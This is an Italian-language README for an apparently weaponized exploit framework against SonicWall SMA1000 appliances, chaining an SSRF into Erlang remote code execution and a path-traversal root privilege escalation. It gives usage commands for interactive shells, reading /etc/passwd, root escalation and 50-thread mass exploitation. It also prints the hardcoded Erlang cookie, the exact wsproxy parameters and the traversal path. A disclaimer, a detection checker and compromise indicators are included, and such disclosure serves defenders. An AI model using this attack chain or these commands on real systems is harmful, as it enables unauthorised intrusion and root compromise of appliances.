[1] CVE-2026-15409 | [2] CVE-2026-15410

SonicWall SMA1000 - SSRF → Erlang RCE → Root Privesc

Framework di Exploit e Strumento di Rilevamento Sicuro
Solo per test di sicurezza autorizzati.

⚖️ Disclaimer Legale e Uso Responsabile

Questo strumento è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati.

Gli autori e i collaboratori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Gli utenti sono gli unici responsabili di aver ottenuto esplicita autorizzazione scritta dal proprietario del target prima di effettuare test. L'accesso non autorizzato a sistemi informatici è illegale ai sensi del Computer Fraud and Abuse Act (CFAA) e di leggi simili in tutto il mondo.

Utilizzando questo software, accetti di:

• Utilizzarlo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.
• Rispettare tutte le leggi locali, statali e federali applicabili.
• Non utilizzarlo per attività malevole, distruttive o illegali.

⚠️ AVVISO: Questa vulnerabilità è attivamente sfruttata in natura. L'uso non autorizzato può comportare gravi conseguenze legali.

🔥 Panoramica della Vulnerabilità

CVE-2026-15409 è una vulnerabilità critica di Server-Side Request Forgery (SSRF) non autenticata scoperta nell'interfaccia Work Place del SonicWall SMA1000 Appliance.

Come funziona:

1. Un attaccante sfrutta la SSRF per attraversare l'endpoint wsproxy.
2. Ciò concede accesso ai servizi interni di distribuzione Erlang (porta 1050/8188).
3. Utilizzando un cookie predefinito hardcoded, l'attaccante si autentica al nodo Erlang.
4. L'esecuzione remota di codice (RCE) viene ottenuta tramite chiamate os:cmd/1.
5. CVE-2026-15410 viene quindi concatenata per elevare i privilegi a root tramite un path traversal nell'AMC (Appliance Management Console).

Fatti Chiave:

• 📅 Divulgata: 14 luglio 2026
• ⚠️ Punteggio CVSS: 10.0 (CRITICO)
• 📋 CISA KEV: Aggiunta il 14 luglio 2026 (Scadenza: 17 luglio 2026)
• 🎯 Prodotti Affetti: SMA 6210, SMA 7210, SMA 8200v
• 🔄 Versioni Corrette: 12.4.3-03453+ e 12.5.0-02835+

🛠️ Framework di Exploit (exploit.py)

L'exploit completamente weaponizzato concatena CVE-2026-15409 e CVE-2026-15410 per ottenere una compromissione a livello di root.

✨ Caratteristiche:

📦 Installazione e Requisiti

Prerequisiti:

• Python 3.6+
• pip (per la libreria requests)

Installa le dipendenze:

pip install -r requirements.txt

[!] Nota: exploit.py utilizza un'implementazione WebSocket manuale – non è richiesta la libreria websockets. requests è necessario solo per la funzionalità --detect.

🚀 Esempi di Utilizzo

[2] Framework di Exploit (exploit.py)

# Shell interattiva sul target
python exploit.py -u 192.168.1.100

# Esegui un singolo comando
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Leggi un file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Attiva il rilevamento SSRF prima dello sfruttamento
python exploit.py -u 192.168.1.100 --detect

# Tenta il privesc a root
python exploit.py -u 192.168.1.100 --privesc

# Sfruttamento massivo da file (50 thread)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Porta e percorso personalizzati
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace

# Modalità pipe (legge comando da stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

[2] Checker di Sicurezza (checker.py)

# Scansione singolo target
python checker.py https://192.168.1.100

# Porta e percorso personalizzati
python checker.py 192.168.1.100 --port 8443 --path /workplace

# Scansione massiva da file
python checker.py --list targets.txt

🎯 Versioni Affette

⚠️ Importante: Queste vulnerabilità non interessano i firewall SonicWall (SSL-VPN) né la serie SMA 100.

🧠 Approfondimento Tecnico

SSRF (CVE-2026-15409)

L'endpoint wsproxy sulla porta 443 accetta un parametro bmID che inizia con -3389 e una specifica host:port. Puntando host=127.0.0.1 e port=1050, gli attaccanti possono attraversare il tunnel verso il servizio di distribuzione Erlang interno.

Erlang RPC

Il nodo Erlang utilizza un cookie predefinito hardcoded: 10ecad5b446e86864832904cd439b6b70262. Ciò consente l'autenticazione remota e l'esecuzione di qualsiasi chiamata os:cmd/1.

Root Privesc (CVE-2026-15410)

Una volta autenticato, l'exploit scrive uno script shell in /var/tmp/ e attiva l'endpoint XML-RPC remove_hotfix dell'AMC con un path traversal (../../../../var/tmp/script.sh), eseguendo lo script come root.

🔍 Indicatori di Compromissione (IoC)

SonicWall raccomanda di verificare:

• extraweb_access.log per /__api__/login o /__api__/logout (stato 200)
• extraweb_access.log per /wsproxy con parametri host sospetti (stato 101)
• ctrl-service.log per rollback di hotfix con path traversal
• /var/lib/unit/conf.json contenente route per /__api__/login o /__api__/logout

📚 Riferimenti

• NVD - CVE-2026-15409
• SonicWall Advisory (SNWLID-2026-0008)
• Catalogo CISA KEV
• The Hacker News - Due Zero-Day di SonicWall SMA 1000 Sfruttati